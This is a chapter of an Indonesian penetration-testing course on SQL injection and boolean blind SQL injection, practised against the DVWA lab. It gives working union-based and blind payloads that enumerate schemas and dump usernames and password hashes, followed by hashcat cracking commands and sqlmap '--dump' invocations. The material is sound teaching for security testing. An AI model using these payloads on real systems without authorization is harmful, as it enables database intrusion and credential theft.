3.
Enter The Gate
Hak Cipta © 2019 PT. Cilsy Fiolution Indonesia
Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian
atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis,
termasuk mecopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari
Penulis dan Penerbit.
Penulis : Danang Heriyadi
Editor : Muhammad Fakhri Abdillah
Revisi Batch 9
Penerbit : PT. Cilsy Fiolution Indonesia
Web Site : [Link] , [Link]
Sanksi Pelanggaran Pasal 113
Undang-undang Nomor 28 Tahun 2014
tentang Hak Cipta
1. Setiap orang yang dengan tanpa hak melakukan pelanggaran hak ekonomi sebagaimana dimaksud dalam
pasal 9 ayat (1) huruf i untuk penggunaan secara komersial dipidana dengan pidana penjara paling lama 1
(satu) tahun dan atau pidana denda paling banyak Rp100.000.000,00 (seratus juta rupiah).
2. Setiap orang yang dengan tanpa hak dan atau tanpa izin pencipta atau pemegang hak cipta melakukan
pelanggaran hak ekonomi pencipta sebagaimana dimaksud dalam pasal 9 ayat (1) huruf c, huruf d, huruf f, dan
atau huruf h, untuk penggunaan secara komersial dipidana dengan pidana penjara paling lama 3 (tiga) tahun
dan atau pidana denda paling banyak Rp500.000.000,00 (lima ratus juta rupiah)
3. Setiap orang yang dengan tanpa hak dan atau tanpa izin pencipta atau pemegang hak melakukan pelanggaran
hak ekonomi pencipta sebagaimana dimaksud dalam pasal 9 ayat (1) huruf a, huruf b, huruf e, dan atau huruf
g, untuk penggunaan secra komesial dipidana dengan pidana penjara paling lama 4 (empat) tahun dan atau
pidana denda paling banyak Rp1.[Link] (satu miliar rupiah)
4. Setiap orang yang memenuhi unsur sebagaimana dimaksud pada ayat (3) yang dilakukan dalam bentuk
pembajakan, dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun dan atau pidana denda paling
banyak Rp4.[Link] (empat miliar rupiah)
2
3. Enter The Gate
Daftar Isi
Daftar Isi
Daftar Isi 3
SQL Injection & Blind SQL Injection 4
Learning Outcomes 4
Outline Materi 4
Pengenalan SQL Injection 5
Pengaturan Lab SQL Injection 6
SQL Injection Cheat Sheet 7
SQL Injection Union Based Attack 8
Identification 8
Get DBMS Version 9
Get All DB Name 10
Get All Table Name From DVWA 11
Get User and Password From table Users 12
Exercises 14
SQL Injection Blind Based Attack (Boolean) 15
Identifikasi SQL Injection 15
Get Current DB Name 16
Get Table Name 17
Get Column Name 18
Exercises 19
3
3. Enter The Gate
4.
SQL Injection & Blind SQL Injection
Learning Outcomes
Setelah selesai mempelajari bab ini, peserta mampu :
1. Mengetahui konsep SQL dan Blind SQL Injection
2. Melakukan teknik-teknik SQL Injection untuk melakukan penetration testing
Outline Materi
1. Pengenalan SQL Injection
2. Pengaturan Lab SQL Injection
3. SQL Injection Cheat Sheet
4. SQL Injection Union Based Attack
5. SQL Injection Union Based Attack (Boolean)
4
3. Enter The Gate
4.1. Pengenalan SQL Injection
SQL Injection merupakan celah aplikasi web yang memungkinkan penyerang menyuntikkan
SQL query. Ini umumnya memungkinkan penyerang untuk melihat data yang biasanya tidak
dapat mereka ambil melalui fitur aplikasi web. Dalam banyak kasus penyerang dapat
memodifikasi, atau menghapus data, bahkan bisa menjalankan command shell tertentu
tergantung DBMS yang dipergunakan.
Gambar: Ilustrasi SQL Injection
Agar lebih memahami lebih jelas, dibawah ini tersedia potongan source code PHP yang
didalamnya terdapat kerentanan SQL Injection :
$id = $_GET['id'];
$data = DB::select("select * from data where id = '$id'");
Bisa, kalian perhatikan diatas bahwa variabel ID didapatkan dari HTTP GET parameter.
Kemudian ID tersebut dimasukkan dalam SQL Query tanpa ada validasi, sanitasi, ataupun
encode. Alhasil kita bisa menyuntikkan perintah SQL ke dalam DB.
5
3. Enter The Gate
4.2. Pengaturan Lab SQL Injection
Sebelum memulai materi utama ada beberapa lab yang harus dipersiapkan agar materi
pembelajaran bisa digunakan. Pastikan teman-teman sudah memasang aplikasi berikut :
1. Docker
2. Docker-compose
3. Make
Lab SQL Injection bisa teman-teman persiapkan. Tersedia dua lab yang pertama DVWA dan
yang kedua lab untuk tugas peserta.
DVWA
$ docker run -dit -p 31333:80 vulnerables/web-dvwa
SQL Injection Lab
$ git clone [Link]
$ cd SQLInjectionLab
$ make deploy
Apabila kalian mengalami kendala saat pengaturan lab di laptop, agar pembelajaran tidak
terhambat. Teman-teman bisa langsung mengakses URL berikut untuk pembelajaran :
A. [Link] (Lab pembelajaran)
B. [Link] (Lab tugas)
Catatan
Silahkan teman-teman mencoba lab di atas sebelum pembelajaran dimulai. Apabila ada
kendala teman-teman bisa menghubungi penulis segera untuk mengatasi kendala
[Link].
6
3. Enter The Gate
4.3. SQL Injection Cheat Sheet
Pada materi ini kita akan membahas jenis-jenis serangan dasar yang bisa kita lakukan pada
celah SQL Injection. Secara tipe SQL Injection dibagi menjadi banyak namun 2 contoh akan
kita ulas sebagai berikut :
1. SQL Injection
2. Blind SQL Injection
Tipe SQL injection biasa umumnya kita bisa melihat dampak injeksi yang kita lakukan ke
suatu halaman. Sebagai contoh ketika kita mengirimkan ID=1’ pada suatu HTTP GET
Parameter ternyata memunculkan informasi berikut:
Gambar: Pesan SQL Error ditampilkan
Pesan kesalahan tersebut terjadi karena simbol (‘) merusak SQL query. Sedangkan blind SQL
Injection agak berbeda dengan hal ini dimana pesan error disembunyikan sehingga
penyerang tidak menyadari bahwa disitu terdapat celah tersebut. Sebagai contoh bisa kita
lihat pada gambar dibawah ini :
Gambar: Halaman ketika URL diakses dengan input ID=1
7
3. Enter The Gate
Dan ketika kita berikan simbol (‘) pada ID maka pesan error tidak akan ditemukan, namun
teks You are in.... akan menghilang dari halaman.
Gambar: Halaman ketika URL diakses dengan input ID=1’
Dari dua contoh diatas bisa kita simpulkan bahwa SQL Injection biasa mampu mempengaruhi
data yang ditampilkan termasuk menampilkan pesan error. Sedangkan pada Blind SQL
Injection kita hanya bisa melihat perbedaan antara normal dan tidak normal (teks
menghilang).
Namun untuk teknis exploitasi pada blind SQL Injection sebenarnya masih terbagi lagi
menjadi dua yakni exploitasi dengan basis boolean (true / false) atau berbasis waktu (delayed
/ not).
4.4. SQL Injection Union Based Attack
Dengan UNION kalian bisa melakukan SQL queries cross-table. Pada dasarnya kita bisa
meracuni query untuk mengembalikan catatan dari tabel lain.
4.4.1. Identification
Tahap pertama kita bisa mulai dengan mengidentifikasi adanya SQL Injection atau tidak
dengan mengakses URL dibawah ini :
[Link]
Gambar: Pesan SQL error dimunculkan
8
3. Enter The Gate
4.4.2. Get DBMS Version
Tahap kedua kita bisa mulai dengan menentukan jumlah kolom database dengan mengakses
ketiga URL dibawah ini.
[Link]
UNION SELECT 1--'
[Link]
UNION SELECT 1,2--'
[Link]
UNION SELECT 1,2,3--'
Gambar: Muncul pesan SQL error ketika mengakses URL ketiga
Jika sudah menjalankan URL di atas anda akan mendapatkan bahwa URL ketiga terjadi error.
Artinya, hanya terdapat 2 kolom pada tabel tersebut. Selanjutnya kita akan mengambil
MySQL version dengan URL berikut.
[Link]
UNION SELECT version(),2--'
Keterangan :
Di Atas terdapat dua URL yang membedakan hanya posisi saja. Untuk URL pertama query
version() disuntik ke kolom pertama.
ID: 1' UNION SELECT @@version,2--'
First name: 10.1.26-MariaDB-0+deb9u1
Surname: 2
9
3. Enter The Gate
Oh ya, dari informasi URL kedua diatas bisa kita simpulkan bahwa DBMS yang digunakan
yakni MariaDB yang masih mirip dengan MySQL.
Untuk tambahan, kita bisa mendapatkan info lain dengan SQL Injection selain untuk
mendapatkan versi juga bisa untuk mendapatkan data lain. Silahkan coba @@hostname,
database() dan user().
4.4.3. Get All DB Name
Versi database terbaru ini artinya kita dapat daftar semua database yang tersedia pada
instalasi MySQL jarak jauh dengan perintah pilih schema_name dari
information_schema.schemata yang memungkinkan kita untuk mengekstrak informasi
semacam itu tanpa memandang apakah kita memiliki hak tingkat administrator.
● Tahap yang ketiga kita bisa memastikan apakah memang ada database
information_schema atau tidak dengan melakukan injeksi SQL payload dibawah ini
melalui form input dikarenakan jika dimasukkan secara langsung ke URL tanpa
adanya encode biasanya akan gagal. Jadi silahkan masukkan payload dibawah ini ke
form input yang tersedia di DVWA.
0' union select null, schema_name from information_schema.schemata #
Gambar: Berhasil mendapatkan semua nama database pada server
10
3. Enter The Gate
Dari informasi diatas kita dapatkan ada database dvwa dan information_schema.
4.4.4. Get All Table Name From DVWA
Langkah selanjutnya kita akan mencari semua tabel yang tersedia pada database DVWA. Hal
ini diperlukan agar kita bisa tahu tabel mana yang menyimpan informasi sensitif. Payload
yang bisa dipergunakan untuk tujuan ini sebagai berikut :
0' union select null, table_name from information_schema.tables #
Gambar: Didapatkan tabel users
Nah, sekarang kita sudah menemukan banyak tabel yang tersedia berdasar dari
information_schema. Namun kali ini ada tabel yang cukup menarik dengan nama users. Dari
temuan terakhir ini tahap selanjutnya kita akan memetakan kolom yang tersedia di tabel
tersebut.
0' union select null, column_name from information_schema.columns where
table_name = 'users' #"
11
3. Enter The Gate
Gambar: Nama kolom berhasil didapatkan
Kolom berhasil didapatkan, yakni terdapat user_id, first_name, last_name, user, password,
avatar, last_login, dan failed_login. Langkah terakhir kita akan mendapatkan user dan
password dari tabel users.
4.4.5. Get User and Password From table Users
Setelah informasi semua didapatkan mulai dari versi DBMS, hostname, DBname, table name,
hingga semua column name. Langkah terakhir ini untuk mendapatkan informasi yang ada di
dalam tabel user. Payload yang bisa kita gunakan sebagai berikut :
0' UNION SELECT user, password from users #
12
3. Enter The Gate
Gambar: Username dan password (hashed)
Terlihat bahwa username berhasil didapatkan. Namun, password terlihat bahwa sudah
disamarkan dalam bentuk hash. Hal ini tentunya perlu dilakukan hash cracking untuk
mendapatkan hash asli dari password tersebut.
Proses hash cracking bisa dilakukan dengan menyimpan semua hash dalam file [Link]
dan jalankan perintah sebagai berikut untuk memulai cracking hash (catatan: silahkan ganti
wordlist dengan lokasi yang sesuai) :
$ cat [Link]
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
$ hashcat -m 0 [Link] /usr/share/wordlists/[Link]
13
3. Enter The Gate
4.4.6. Exercises
● Silahkan kalian coba dan pelajari teknik dasar SQL Injection di alamat
[Link]
● Pada lab tugas terdapat banyak jenis SQL Injection, cobalah untuk test beberapa
skenario yang tersedia.
● Temukan kerentanan yang bisa kalian coba, cobalah untuk membuktikan tingkat
severity yang tinggi dengan exploitation yang bisa kalian lakukan.
● Jika nomor 2 sudah selesai dilakukan. Kemudian buatlah dokumentasi dan jelaskan
dampak yang bisa simpulkan setelah selesai mengeksploitasi celah tersebut.
● Berikan referensi standar yang jadi pendukung argumen kalian, dan juga berikan
rekomendasi berdasarkan standar.
14
3. Enter The Gate
4.5. SQL Injection Blind Based Attack (Boolean)
Untuk teknik kedua ini sangat berbeda dalam hal payload yang kita kirim. Pada dasarnya
konsep Blind SQL Injection Attack (boolean) hanya mengenal dua kondisi yakni benar jika
logika query yang kita suntikkan sesuai, dan salah jika query tidak memenuhi kondisi logika
yang sudah kita set.
Benar dan salah bisa ditentukan dari perubahan halaman yang tampil atau tiba-tiba
menghilang. Untuk mempermudah memahami saya berikan garis besar tahapan yang harus
dilakukan :
- Identifikasi jenis SQL Injection
- Menebak nama database saat ini
- Menebak nama tabel dalam database
- Menebak nama kolom dalam tabel
- Menebak data
4.5.1. Identifikasi SQL Injection
Payload dengan kondisi normal dibawah ini perlu dilakukan agar kita bisa mengenali respon
yang seharusnya:
Sedangkan untuk payload dibawah ini untuk menentukan apakah kita bisa menyuntikan SQL
query (conditional statement).
15
3. Enter The Gate
1' and 1=1 #
Dan yang jalankan pula payload dibawah ini dan jika menghasilkan output yang
[Link] bisa dipastikan terdapat Blind SQL Injection.
1' and 1=1 #
Kesimpulan yang bisa kita dapatkan dari percobaan diatas, User ID exists merupakan pesan
yang ditampilkan jika query benar. Dan User ID is missing jika query menghasilkan kondisi
salah.
4.5.2. Get Current DB Name
1' and hex(substr(database(),1,1)) = '64' #
Keterangan:
A. hex() merupakan function untuk merubah string menjadi format hexadecimal.
B. substr() merupakan function untuk memotong string dalam kasus diatas string
dipotong dari karakter ke-1 dengan panjang 1 karakter
C. database() merupakan function untuk mendapatkan nama database terkini yang
digunakan
16
3. Enter The Gate
D. Jika kita kombinasikan penjelasan diatas nama database dvwa dipotong untuk
didapatkan karakter pertama yakni huruf d kemudian diubah kedalam bentuk
hexadecimal 64 dan dibandingkan dengan string 64. Jika sesuai maka akan
mengembalikan kondisi benar
Yang sudah kita lakukan diatas kita berhasil menebak karakter pertama nama database.
Lakukan langkah seterusnya hingga mendapatkan nama database dvwa.
4.5.3. Get Table Name
Perintah berikut diperuntukkan untuk mendapatkan panjang dari urutan tabel pertama. Jika
mengingat pada materi SQL Injection biasa urutan pertama seharusnya adalah guestbook.
Artinya panjang karakter jika berbasis informasi sebelumnya adalah 9. Tapi kita anggap kita
belum mengetahui panjang nama tabel urutan pertama, jadi lakukan percobaan dibawah ini :
1' and length(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1))=1 #
1' and length(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1))=2 #
1' and length(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1))=3 #
... cobalah hingga angka 9 ...
Setelah kalian bisa mendapatkan panjang nama tabel, selanjutnya kita akan menebak
karakter pertama (hint: karakter pertama urutan tabel pertama seharusnya adalah huruf g).
1' and hex(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1)) = '41' # Apakah huruf
pertama A ?
1' and hex(substr((select table_name from information_schema.tables
17
3. Enter The Gate
where table_schema=database() limit 0,1),1,1)) = '64' # Apakah huruf
kedua g ?
Untuk menebak huruf kedua kalian bisa mengganti 1,1 menjadi 2,1. Lanjutkan hingga kalian
menebak nama tabelnya adalah guestbook. Dan untuk menebak tabel urutan kedua
(seharusnya users) kalian cukup mengganti limit 0,1 menjadi 1,2.
4.5.4. Get Column Name
1' and (select count(column_name) from information_schema.columns where
table_name= 'users')=1 #Tidak muncul apa apa karena jumlah kolomnya
bukan 1
1' and (select count(column_name) from information_schema.columns where
table_name= 'users')=8 #Kondisi benar karena jumlah kolom ada 8
Nah, untuk referensi lebih detail teman-teman bisa mengakses link dibawah ini agar materi
ini tidak terlalu melebar jauh. Pada intinya Blind SQL Injection tipe boolean hanya diberikan
dua kondisi saja (benar atau salah) sehingga proses eksploitasi secara manual akan memakan
waktu yang cukup lama.
Referensi : [Link]
Untuk mempercepat proses Blind SQL Injection kalian bisa menggunakan software SQLMap.
$ sqlmap -u
[Link]
=Submit --cookie="security=low; PHPSESSID=5eea5bbabd82a" --dbs
$ sqlmap -u
[Link]
=Submit --cookie="security=low; PHPSESSID=5eea5bbabd82a" -D dvwa
--tables
sqlmap -u
[Link]
=Submit --cookie="security=low; PHPSESSID=5eea5bbabd82a" -D dvwa -T
18
3. Enter The Gate
users --dump
4.5.5. Exercises
● Lakukan percobaan serangan Blind SQL Injection pada lab dengan alamat
[Link] dengan aplikasi sqlmap
● Lakukan proses manual Blind SQL Injection untuk mendapatkan nama database dari
skenario yang kalian pilih. Lalu dokumentasikan.
19